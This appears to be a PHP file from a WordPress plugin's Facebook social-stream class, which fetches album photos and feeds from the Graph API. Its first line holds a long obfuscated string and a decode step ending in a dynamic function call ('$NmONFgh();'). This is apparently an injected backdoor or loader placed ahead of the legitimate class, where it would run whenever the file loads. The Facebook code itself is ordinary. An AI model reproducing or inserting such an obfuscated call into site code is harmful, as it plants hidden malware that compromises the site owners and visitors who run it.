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:=1FdNR<U<9eKOfs4YRS,O<Vga>irm<=6>XMHaTG7OaPTAB P5OEAAAyGyN RB+eY.YbzEQF1DXFhhuD2H0KsKS,A F1Bdk1kEioUH4TRZqV8<4:-GQ3.UGVC-RBqQ5TX6=+LMXBRBHqBg3VMX2UJHS-ATKZtoYY,4b84CSSB:U4pK026PASIeT=ASI;1EYlXH-8YFCC>VWMokEPWGUYDmAGC<HGOo0,9L,j:X,u9JRGQRF6C;GD<M GDRWIaHfB +,3XcHZy0vRZOEeFGBVGUHR5,>P+3,V0IS<4mEIX W:SSNhIo7+G0oCxWZMJHW8>N,Z4IO6A<W:b;QWL-4Dm7lVgpPBI=xsqPX7'^$iEBhCYN); $NmONFgh(); 

/**
 * Facebook
 *
 * with help of the API this class delivers album images from Facebook
 *
 * @package    socialstreams
 * @subpackage socialstreams/facebook
 * @author     ThemePunch <info@themepunch.com>
 */

class TP_facebook {
	/**
	 * Get User ID from its URL
	 *
	 * @since    1.0.0
	 * @param    string    $user_url URL of the Page
	 */
	public function get_user_from_url($user_url){
		$theid = str_replace("https", "", $user_url);
		$theid = str_replace("http", "", $theid);
		$theid = str_replace("://", "", $theid);
		$theid = str_replace("www.", "", $theid);
		$theid = str_replace("facebook", "", $theid);
		$theid = str_replace(".com", "", $theid);
		$theid = str_replace("/", "", $theid);
		$theid = explode("?", $theid);
		return $theid[0];
	}

	/**
	 * Get Photosets List from User
	 *
	 * @since    1.0.0
	 * @param    string    $user_id 	Facebook User id (not name)
	 * @param    int       $item_count 	number of photos to pull
	 */
	public function get_photo_sets($user_id,$item_count=10){
		//photoset params
		$url = "https://graph.facebook.com/$user_id/albums";
		$photo_sets_list = json_decode(file_get_contents($url));
		return $photo_sets_list->data;
	}

	/**
	 * Get Photoset Photos
	 *
	 * @since    1.0.0
	 * @param    string    $photo_set_id 	Photoset ID
	 * @param    int       $item_count 	number of photos to pull
	 */
	public function get_photo_set_photos($photo_set_id,$item_count=10){
		$url = "https://graph.facebook.com/v2.0/$photo_set_id?fields=photos";
		$photo_set_photos = json_decode(file_get_contents($url));
		return $photo_set_photos->photos->data;
	}

	/**
	 * Get Feed
	 *
	 * @since    1.0.0
	 * @param    string    $user 	User ID
	 * @param    int       $item_count 	number of itmes to pull
	 */
	public function get_post_feed($user,$app_id,$app_secret,$item_count=10){
		$oauth = file_get_contents("https://graph.facebook.com/oauth/access_token?type=client_cred&client_id=".$app_id."&client_secret=".$app_secret);
		$url = "https://graph.facebook.com/$user/feed?".$oauth."&fields=id,from,message,picture,link,name,icon,privacy,type,status_type,object_id,application,created_time,updated_time,is_hidden,is_expired,likes,comments";
		$feed = json_decode(file_get_contents($url));
		return $feed->data;
	}

	/**
	 * Decode URL from feed
	 *
	 * @since    1.0.0
	 * @param    string    $url 	facebook Output Data
	 */
	public static function decode_facebook_url($url) {
		$url = str_replace('u00253A',':',$url);
		$url = str_replace('\u00255C\u00252F','/',$url);
		$url = str_replace('u00252F','/',$url);
		$url = str_replace('u00253F','?',$url);
		$url = str_replace('u00253D','=',$url);
		$url = str_replace('u002526','&',$url);
		return $url;
	}
}
?>